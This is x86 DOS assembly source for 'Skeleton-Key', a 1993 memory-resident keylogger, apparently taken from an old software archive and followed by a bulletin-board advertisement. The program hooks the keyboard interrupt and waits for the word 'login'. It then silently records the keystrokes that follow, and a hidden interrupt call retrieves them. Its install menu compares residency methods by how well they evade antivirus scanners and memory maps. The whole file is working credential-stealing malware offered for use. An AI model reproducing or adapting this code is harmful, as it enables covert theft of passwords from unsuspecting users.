home *** CD-ROM | disk | FTP | other *** search
- ;Skeleton-Key monitoring program source code.
-
- .model tiny
- .radix 16
- .code
- org 100
- start:
- jmp Go_Memory_Resident
-
- Int09:
- cmp ax,bx
- jne Not_DumpReq
- cmp ax,cx
- jne Not_DumpReq
- cmp ax,dx
- jne Not_DumpReq
- cmp ax,si
- jne Not_DumpReq
- cmp ax,di
- jne Not_DumpReq
- cmp ax,0f00dh
- jne Not_DumpReq
- mov cx,4
- ror ax,cl
- jmp DumpReq
-
- Not_DumpReq:
- pushf
- call dword ptr cs:[Int09_IP]
-
- push ax bx cx dx si di es ds
-
- push cs cs
- pop es ds
- xor bx,bx
-
- mov ah,1
- int 16
- jz No_Char
-
- or al,al
- jz No_Char
-
- cmp byte ptr [Reading_Login],4
- ja savechar
-
- cmp byte ptr [Reading_Login],4
- jne Are_They_Typing_Login
-
- Clear_Them:
- push ax cx di
- xor ax,ax
- mov di,offset KeyHitBuffer+5
- mov cx,100
- repnz stosb
- pop di cx ax
-
-
- Are_They_Typing_Login:
- or al,20 ;Convert to lowercase
- mov bl,byte ptr [Reading_Login]
- add bx,offset Login_Title
- cmp al,[bx]
- jne NoMatch
- jmp SaveChar
-
- No_Char:
- pop ds es di si dx cx bx ax
- iret
- NoMatch:
- mov byte ptr [Reading_Login],0
- jmp short No_Char
-
- Int09_IP dw 0
- Int09_CS dw 0
-
- SaveChar:
- mov bl, byte ptr [Reading_Login]
- add bx,offset KeyHitBuffer
- mov byte ptr [bx],al
- inc byte ptr [Reading_Login]
-
- cmp byte ptr [Reading_Login],0fe
- jae ResetBuffer
- jmp No_Char
-
- ResetBuffer:
- mov byte ptr [Reading_Login],0
- jmp No_Char
-
- DumpReq:
- push cs cs
- pop es ds
- mov si,offset KeyHitBuffer
- mov dx,offset Login_Title
- iret
-
-
- Reading_Login db 0
-
- Login_Title db 'login'
- FileTitle db '.txt',0
-
- KeyHitBuffer db 110 dup(0)
- end_prog:
- ;------------------------------------------------------------------------
-
- ;------------------------------------------------------------------------
- Terminate:
- mov ax,4c00
- int 21
-
- Go_Memory_Resident:
- call checkres
-
- mov ah,09
- mov dx, offset methods
- int 21
-
- GetMeth:
- xor ax,ax
- int 16
- cmp al,'1'
- jb GetMeth
- cmp al,'4'
- ja GetMeth
-
- Selection:
- cmp al,'1'
- je Int27Method
- cmp al,'2'
- je Direct
- cmp al,'3'
- je Bios
- cmp al,'4'
- je Terminate
- jmp GetMeth
-
- Int27Method:
- mov ax,3509
- int 21
-
- mov word ptr [Int09_IP],bx
- mov word ptr [Int09_CS],es
-
- mov dx,offset Int09
- mov ah,25
- int 21
-
- push cs
- pop es
- mov dx,offset end_prog+1
- int 27
-
- Direct:
- Get_Maximum_Memory:
- mov ax,ds
- dec ax
- mov ds,ax
- mov bx,word ptr ds:[03]
- Subtract_Needed_Memory:
- sub bx,(end_prog-start+0fh)/10h
- Shrink_Block:
- mov word ptr ds:[03h],bx
- mov byte ptr ds:[0],'Z'
-
- Lower_Top_Of_Memory:
- sub word ptr ds:[12h],(end_prog-start+0fh)/10h
-
- Point_ES_to_New_MCB: ;Get New top of mem
- mov ax,word ptr ds:[12] ;from PSP.
- mov es,ax ;ES = new segment.
-
- Set_As_Last_Block:
- mov byte ptr es:[0],'Z' ;Mark as last
- ;in chain (not really needed)
- Set_Owner:
- inc ax
- mov word ptr es:[1],ax ;Set owner as itself
-
- call GetInt09
-
- sub ax,10
- mov es,ax
- mov di,100
-
- SetProg:
- push cs
- pop ds
- mov si,100
- mov cx,(end_prog-start)
- repnz movsb
- call SetInt09
- jmp Terminate
- Bios:
- call GetInt09
- Get_And_Lower_Top_Of_Memory:
- mov ax,word ptr ds:[02] ;Get Top of Memory (PSP)
- sub ax,40h ;Lower it by 1K (40h*10h)
- mov word ptr ds:[02],ax ;And Replace Value.
-
- Get_MCB_Segment:
- mov ax,ds ;AX = CS = DS
- dec ax ;Get Segment of MCB
- mov ds,ax ;And put into DS
-
- Shrink_Block2:
- sub word ptr ds:[03],40h ;Subtract 1K from host's MCB
- ;allocation (paragraphs)
- Allocate_From_Bios:
- xor ax,ax
- mov ds,ax ;DS = 0
- dec word ptr ds:[413h] ;Allocate 1K from Bios
-
-
- mov ax,word ptr ds:[413h] ;Get memory in 1K
- mov cl,6
- shl ax,cl ;change to segment (multiply
- ;by 64 or 40h)
-
- ;AX now equals free segment
- ;of memory
-
- sub ax,10
- mov es,ax ;Set ES = Free Segment
- mov di,100
- jmp SetProg
-
-
- GetInt09:
- push ax ds
- xor ax,ax
- mov ds,ax
- mov ax,word ptr ds:[9*4]
- mov cs:[Int09_IP],ax
- mov ax,word ptr ds:[9*4+2]
- mov cs:[Int09_CS],ax
- pop ds ax
- ret
-
- SetInt09:
- push ds ax
- xor ax,ax
- mov ds,ax
- cli
- mov dx,offset Int09
- mov word ptr ds:[9*4],dx
-
- mov dx,es
- mov word ptr ds:[9*4+2],dx
- sti
- pop ax ds
- ret
-
-
- Checkres:
- push ax bx cx dx es ds di si
- mov ax,0f00dh
- mov bx,ax
- mov cx,ax
- mov dx,ax
- mov si,ax
- mov di,ax
- int 09
- mov cl,04
- rol ax,cl
- cmp ax,0f00dh
- je badtry
- pop si di ds es dx cx bx ax
- ret
-
- badtry:
- push cs cs
- pop es ds
- mov ah,09
- mov dx,offset wanna
- int 21
- mov ax,4c00
- int 21
-
- wanna db 'Skeleton-Key already installed - use Readkey for recovery.',0a,0dh,24
-
- Methods:
- db 0dh,0a,0dh,0a,0dh,0a,'Skeleton-Key Installation Menu (c) 1993 (N)asty (S)cheming (A)uthoritarians',0dh,0a,0dh,0a,0dh,0a
- db 'Please Select Memory Residency Method:',0dh,0a,0dh,0a
- db '1.) Int 27h - Normal TSR command, shows up in MEM as user program.',0dh,0a
- db ' Will not alert any AV programs, but is obvious.',0dh,0a,0dh,0a
- db '2.) Direct MCB''s - Uses standard viral methods of allocating memory,',0dh,0a
- db ' Might be picked up by some AV scanners, but will not show',0dh,0a
- db ' up as easily in memory maps.',0dh,0a,0dh,0a
- db '3.) BIOS allocate - Does not show up in memory map, but lowers user RAM',0dh,0a
- db ' by 1K in regular memory. May set off some virus detectors.',0dh,0a,0dh,0a
- db '4.) Forget installing - TERMINATE!',0a,0dh
- db 0a,0dh,'(Enter Number) -> $'
- end start
-
-
-
- ;--- NOT PART OF SOURCE CODE --- BLATENT, POINTLESS BBS AD FOLLOWS ---
- ;________________________________________________________________________
- ;
- ;This file was downloaded from the ....
- ;
- ; ┌─────────────────────────────────────────────────┐
- ; │██▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀██│
- ; │█ A D J A C E N T R E A L I T Y B B S █│
- ; │█ ───────────────────────────────────────── █│
- ; │█ Forum for non-censored discussion and file █│
- ; │█ exchange for the expierenced computer user. █│
- ; │█ █│
- ; ┌──────────────────────────────────────────────────────────┐
- ; │ ■ Cracks & Unprotects ■ Animations │
- ; │ ■ Encryption ■ Home of SFDNC,SU, │
- ; │ ■ Virus/Anti-Virus SFNEW and much more. │
- ; │ ■ Virtual Reality ■ ACTIVE message bases │
- ; └──────────────────────────────────────────────────────────┘
- ; │█ Call now at (615) 586-9515 █│
- ; │█ █│
- ; │██▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄██│
- ; └─────────────────────────────────────────────────┘
-